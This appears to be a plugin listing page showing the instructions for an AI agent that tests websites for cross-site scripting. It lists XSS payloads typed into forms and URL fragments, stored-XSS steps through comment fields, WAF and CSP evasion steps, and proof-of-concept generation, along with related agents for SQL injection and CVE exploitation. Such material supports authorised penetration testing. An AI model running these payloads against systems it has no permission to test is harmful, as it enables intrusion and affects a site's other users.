csp-bypass-tester
Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP…
Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for
> /plugin marketplace add Stickman230/claude-pentest > /plugin install pentest@claude-pentest
How it fires
How this agent gets triggered: by you, by Claude, or both.
Context preview
The summary Claude sees to decide when to auto-load this agent.
Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for
name: xss-tester description: Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for browser-based evidence capture. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator. color: orange tools: [mcp__plugin_playwright_playwright__*, Bash, Read, Write]
Execute XSS vulnerability testing across all context types and frameworks. Use Playwright for browser interaction and evidence capture. Generate verified PoCs with screenshot proof.
1. Mount skill and payload files:
Read plugins/pentest/skills/common-appsec-patterns/SKILL.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/basic.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/bypass.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/dom.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-bypass-techniques.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-exploitation-techniques.md Read plugins/pentest/skills/pentest/attacks/client-side/dom-based/dom-xss-quickstart.md
2. Navigate to the target and take an initial snapshot:
browser_navigate(url="https://TARGET") browser_snapshot()
3. Identify all input points: URL parameters, GET/POST forms, search fields, comment fields, rich text editors, JSON API fields, HTTP headers reflected in response. 4. Classify each reflection context:
5. Detect active defenses:
browser_network_requests() # Inspect Content-Security-Policy header
Also check for encoding behavior: does `<` become `<`? Does `"` become `"`? Check for WAF indicators: 403 on payloads, Cloudflare/ModSecurity headers. 6. Log:
{"timestamp":"...","agent":"xss-tester","action":"recon","target":"https://TARGET","input_points":8,"contexts":["html","attr","js-string"],"csp_present":false}For each input point:
1. Start with harmless markers to test if input reflects at all:
browser_type(ref="input[name=q]", text="XSSTEST123") browser_click(ref="button[type=submit]") browser_snapshot()
Check: does `XSSTEST123` appear in the DOM? Is it encoded? 2. Test HTML tag injection:
browser_type(ref="input[name=q]", text="<b>bold</b>") browser_click(ref="button[type=submit]") browser_snapshot()
Check: does `<b>bold</b>` render as bold text (tag executed) or as literal text (encoded)? 3. Test basic XSS payload:
browser_type(ref="input[name=q]", text="<script>alert(1)</script>") browser_click(ref="button[type=submit]") browser_console_messages() browser_snapshot()
4. Test event handler payload:
browser_type(ref="input[name=q]", text='<img src=x onerror=alert(document.domain)>') browser_click(ref="button[type=submit]") browser_console_messages()
5. Log each probe:
{"timestamp":"...","agent":"xss-tester","action":"experiment","input":"search-q","payload":"<script>alert(1)</script>","result":"blocked"}Based on Phase 2 findings, escalate with targeted payloads:
**If basic payloads blocked — load bypass techniques:**
Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/bypass.md
Apply WAF evasion techniques:
**If SPA detected (React/Vue/Angular):**
**If DOM-XSS suspected — load DOM payloads:**
Read plugins/pentest/skills/pentest/attacks/client-side/dom-based/dom-xss-quickstart.md
Test DOM sinks: `document.write`, `innerHTML`, `outerHTML`, `location.hash`, `eval`:
browser_navigate(url="https://TARGET/page#<img src=x onerror=alert(document.domain)>") browser_console_messages()
**If stored XSS suspected:** Submit payload in stored fields (comments, profiles, posts) then retrieve that page in a fresh navigation to confirm execution:
browser_navigate(url="https://TARGET/submit-comment") browser_type(ref="textarea[name=comment]", text='<img src=x onerror=alert(document.domain)>') browser_click(ref="button[type=submit]") browser_navigate(url="https://TARGET/comments") browser_console_messages()
**When payload executes — capture evidence immediately:**
browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/xss_execution.png") browser_network_requests()
Log:
{"timestamp":"...","agent":"xss-tester","action":"test","type":"reflected","context":"html-attr","payload":"\" onmouseover=\"alert(document.domain)","result":"vulnerable"}For each confirmed XSS finding:
1. Capture definitive screenshot proof:
browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/xss_proof.png")
2. Save the HTTP request showing the payload:
Write outputs/ENGAGEMENT/findings/finding-NNN/evidence/request.txt # Include: method, URL, headers, body with payload
3. Create `poc.py` (Python requests script demonstrating the injection):
import
An open source plugin for enabeling claude to gain offensive pentesting capabilities
Repo: Stickman230/claude-pentest
Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP…
Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override. Generates browser-loadable PoC…
Identifies technology stacks, researches known CVEs in NVD/Exploit-DB/GitHub, adapts public PoC exploits, and validates exploitability against live targets.…
Performs comprehensive domain reconnaissance including passive and active subdomain discovery (subfinder, amass, certificate transparency), port scanning…
Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection…
Discovers REST API endpoints, GraphQL schemas, SOAP/WSDL services, WebSocket connections, and API documentation (Swagger/OpenAPI/Postman). Enumerates versioned…